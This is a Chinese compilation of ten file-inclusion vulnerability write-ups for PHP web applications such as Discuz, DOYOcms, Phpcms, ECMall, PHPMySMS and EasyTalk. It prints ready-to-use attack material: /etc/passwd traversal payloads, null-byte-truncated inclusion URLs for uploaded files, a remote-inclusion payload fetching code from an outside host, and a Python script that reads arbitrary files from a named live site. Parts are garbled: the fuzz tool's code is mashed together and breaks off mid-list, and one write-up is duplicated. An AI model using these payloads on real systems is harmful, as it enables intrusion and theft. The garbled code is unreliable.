脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解漏洞预警(锦集10篇)由网友“凌淳晰Clear”投稿提供,以下是小编收集整理的脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解漏洞预警,仅供参考,希望对大家有所帮助。
篇1:脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解漏洞预警
脚本的文件包含漏洞可以说是层出不穷,苦于市面上没有好的功能全面的有针对性的开源工具做参考,现在就文件包含的几种典型漏洞为例子,
以bugscan.net/manage/plugin/api
插件源码及详细的描述: bugscan.net/manage/node/65
此插件可以本地测试运行当做一个fuzz工具,也可以在bugscan上做为一个功能模块运行
代码如下,要以先看assign函数,再看audit函数,注释详细清晰:
#!/usr/bin/env python#-*-coding:utf-8-*-#脚本语言本地/远程,文件包含/读取,文件名截断漏洞FUZZ工具importreimporturlparseimporturllibimportos#此函数会在爬虫扫描过程中调用,为任务派遣函数def assign(service,arg):#只接收链接ifservice!=“www”:return#分析链接,看有没有查询参数r=urlparse.urlparse(arg)pairs=urlparse.parse_qsl(r.query)#如果参数过多,超过6个,效率起见,放弃此链接ifurlparse.urlparse(arg).query.find('=')==-1or len(pairs)>6:return#返回True表始接收任务,arg是要调度器传给audit函数的参数returnTrue,arg#远程文件包含的FUZZ函数def check_rfi(action,query,k,v,normal_res):#要判断两次,第一次,传全参数列表进去,第二次,只FUZZ一个参数,其它参数不传fori in range(2):#网上总结的一组经典列表,以(路径,签名)做列表paths=[('../../../../../../../../../../etc/passwd','/bin/(bash|sh)[^\r\n]*[\r\n]'),('../../../../../../../../../../etc/passwd%00','/bin/(bash|sh)[^\r\n]*[\r\n]'),('cirt.net/rfiinc.txt?','
更多插件源码和教程,移步: bugscan.net/
篇2:DISCUZX1.5 本地文件包含漏洞漏洞预警
DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存,
config_global.php
$_config['cache']['type'] = 'file';
function cachedata($cachenames) {
......
$isfilecache = getglobal('config/cache/type') == 'file';
......
if($isfilecache) {
$lostcaches = array;
foreach($cachenames as $cachename) {
if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {
$lostcaches[] = $cachename;
}
}
......
}
地址:
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
Authracation has expiried
执行了 api/uc.php 页面代码了,
作者: Jannock
篇3:DOYOcms 本地文件包含漏洞漏洞预警
这是这套CMS ,这个很简洁,。。
这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”);
接下来往下看
这里的$sdir 没有经过任何过滤来的,然后看下这个import函数
这里直接包含了该文件
require($sfilename);所以结合前面的
$GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”
$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的
这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞,
然后这里要保证魔术常量是关闭的。
下图就是成功包含的图
Exp:
localhost/test/index.php?c=../uploads//06/1.gif%00&a=type&tid=1
篇4:Phpcms 远程文件包含漏洞漏洞预警
[zz]Phpcms 2007 远程文件包含漏洞
url:www.wolvez.org/forum/redirect.php?tid=182&goto=lastpost
这个漏洞是一个比较普通的变量覆盖漏洞,这里转一下是由于发现这个漏洞如果是白盒那要都仔细看代码才行 :)
引用 :
------------------------------------------------
//从头开始看
$rootdir = str_replace(“\\”, '/', dirname(__FILE__));
require $rootdir.'/include/common.inc.php';//通过extract可以覆盖$rootdir为任意值
require PHPCMS_ROOT.'/languages/'.$CONFIG['adminlanguage'].'/yp_admin.lang.php';
if(!$_username) showmessage($LANG['please_login'],$PHPCMS['siteurl'].'member/login.php?forward='.$PHP_URL);
require $rootdir.'/web/admin/include/common.inc.php ';//触发远程文件包含
------------------------------------------------
注意看里面的2个require,第一个那引进的extract的代码,第2个require才导致漏洞的函数,
Phpcms 2007 远程文件包含漏洞漏洞预警
,
伪代码:
$rootdir = str_replace(“\\”, '/', dirname(__FILE__));
//下面就是require $rootdir.'/include/common.inc.php';引入的代码
@extract($_POST, EXTR_OVERWRITE);
@extract($_GET, EXTR_OVERWRITE);
unset($_POST, $_GET);
require $rootdir.'/web/admin/include/common.inc.php
?>
不知道看到这里,看官们有什么感想?如果这里用grep等软件去找静态的上跟踪这个的话障很再可能就会漏调着可能分析得到的结果是:
$rootdir = str_replace(“\\”, '/', dirname(__FILE__));
require $rootdir.'/include/common.inc.php'
require $rootdir.'/web/admin/include/common.inc.php
一看$rootdir被过滤了,就会认为这里安全了?
所以一味的grep等静态去找,是找不到这样的bug的上...
来个“马后炮”,对于这样的上用灰盒测试可能效果很好:就是先看代码看common.inc.php这个躯干里发现用变量覆盖,然后黑盒去找跑那些变量可以覆盖.....
篇5:Galilery 1.0本地文件包含漏洞漏洞预警
Galilery是一款使用PHP编写的开放源代码的相册系统,Galilery 1.0存在本地文件包含漏洞,可能导致敏感信息泄露,
[+]info:
~~~~~~~~~
Galilery 1.0 Local File Inclusion Vulnerability
$ cat 15_lfi_galilery.1.0.txt
# exploit title: local file include in Galilery 1.0
# date: 18.o2.2o11
# author: lemlajt
# software : Galilery
# version: 1.0
# tested on: linux
# cve :
# ftp.heanet.ie/disk1/sourceforge/g/project/ga/galilery/Galilery/
[+]poc:
~~~~~~~~~
localhost/www/cmsadmins/Galilery-1.0/index.php?pg=1&d=../../../../../../../../../../../../etc/
cuz:
index.php: $d=$_GET['d'];
[+]Reference:
~~~~~~~~~
www.exploit-db.com/exploits/16206
篇6:mobile9 本地文件包含漏洞
因为他是base64编码的手工测试很麻烦就写了个小工具,高手飘过
import urllib2,sys
import httplib
import base64,time
if len(sys.argv) <= 2:
print “=” * 30
print “mobile9.com local exploit by cnb|rd Qq:441303228”
print “Email:Linuxrootkit@gmail.com”
print “=” * 30
print “usage: ” + sys.argv[0] + “ hostname ” + “ local file ”
sys.exit(1)
host = sys.argv[1]
path = sys.argv[2]
file = sys.argv[3]
h = httplib.HTTP(host)
h.putrequest(“HEAD”, path)
h.putheader(“Host”, host)
h.endheaders
okresp, reason, headers = h.getreply()
print “=” * 30
print host + “ Server Banner is ” + headers.get(“Server”)
print “=” * 30
print “Local file to read is ” + file
time = int(time.time())
serverpath = “/download/content_delivery.php?key=”
str = str(file) + “|” + str(time) + “|”
print str
base64file = base64.urlsafe_b64encode(str)
requestpath = serverpath + base64file
print base64file
print requestpath
f = httplib.HTTPConnection(host)
f.request('GET', requestpath)
print f.getresponse().read()
f.close
CSDN博客cnbird2008
篇7:ECMall本地文件包含漏洞
by Ryat
bbs.wolvez.org
respond.php 48行
$pay_code = !empty($_REQUEST['code']) ? trim($_REQUEST['code']) : '';
...
$plugin_file = ROOT_PATH . '/includes/payment/' . $pay_code . '.php';
if (is_file($plugin_file))
{
include_once($plugin_file);很明显的一个bug
利用的话可以参考flyh4t提到过[bbs.wolvez.org/topic/56/]的一个思路:
可以通过旁注拿个shell,然后写个main.php到/tmp目录下,然后包含之
篇8:PHPMySMS远程文件包含漏洞
受影响系统:
PhpMySms PhpMySms <= V2.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 18633
PHPMySMS是一款开放源码的用PHP实现的基于Web的短信解决方案,
PHPMySMS的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。
远程攻击者可以利用PHPMySMS的gateway.php文件中的远程文件包含漏洞执行任意PHP代码。漏洞代码如下:
==============================================================
if (($_POST[mode] == “1”) or ($_GET[mode] == “1”)) {
include (“config.php”);
} else {
include (“$ROOT_PATH/config.php”);
}
==============================================================
<*来源:Persian-Defacer (www.Hacking-Boys.com)
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用,
使用者风险自负!
[site]/[sms location]/sms_config/gateway.php?ROOT_PATH=[evil_script]
建议:
--------------------------------------------------------------------------------
厂商补丁:
PhpMySms
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
Http://www.phpmysms.com
篇9:Phpcms 远程文件包含漏洞
,
伪代码:
$rootdir = str_replace(“\\”, '/', dirname(__FILE__));
//下面就是require $rootdir.'/include/common.inc.php';引入的代码
@extract($_POST, EXTR_OVERWRITE);
@extract($_GET, EXTR_OVERWRITE);
unset($_POST, $_GET);
require $rootdir.'/web/admin/include/common.inc.php
?>
不知道看到这里,看官们有什么感想?如果这里用grep等软件去找静态的上跟踪这个的话障很再可能就会漏调着可能分析得到的结果是:
$rootdir = str_replace(“\\”, '/', dirname(__FILE__));
require $rootdir.'/include/common.inc.php'
require $rootdir.'/web/admin/include/common.inc.php
一看$rootdir被过滤了,就会认为这里安全了?
所以一味的grep等静态去找,是找不到这样的bug的上...
来个“马后炮”,对于这样的上用灰盒测试可能效果很好:就是先看代码看common.inc.php这个躯干里发现用变量覆盖,然后黑盒去找跑那些变量可以覆盖.....
篇10:EasyTalk 微博本地文件包含漏洞漏洞预警
发布日期:2011-01.29
发布作者:sw0rder
影响版本:EasyTalk
:www.9italk.com/
漏洞类型:文件包含
漏洞描述:
漏洞文件在“wap/index.php”,关键代码如下:
具体利用:
新建一个账户,在首页写话题处上传捆后的图片,这里传后可以显示出文件名,在服务器中会出现两个图片,一个源图片,一个处理过的,
EasyTalk 微博本地文件包含漏洞漏洞预警
,
且已自身 id 为目录命名(id 可从右上方看到),那么图片路径就是:attachments/photo/user_id/图片名.jpg。
测试:
127.0.0.1/easytalk/wap/in ... ents/photo/user_id/图片.jpg%00.
另外,关于截断方面可以用较多的/来试试 有时候会有效果,php版本别太新否则截断会无效的hoho
★ opera9.52使用ajax读取本地文件漏洞进一步利用漏洞预警
★ ki Wiki CMS群件本地文件包含和跨站脚本漏洞及修复
★ Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞
【脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解漏洞预警(锦集10篇)】相关文章:
计算机病毒的起源和发展探析论文2023-04-02
教你做服务级的木马后门2023-07-09
伪科学:Mysql system函数提权2022-06-23
鸡肋的反射性xss脚本安全2023-04-01
网络入侵检测方法2023-04-17
linux当mysql以root权限登录时提权网站安全2023-08-17
后门750字作文2022-09-01
企业网站后台安全防范的基本方法介绍2022-04-29
Echo 写入VBS提权2022-07-19
如何保障Unix系统安全Windows系统2023-07-25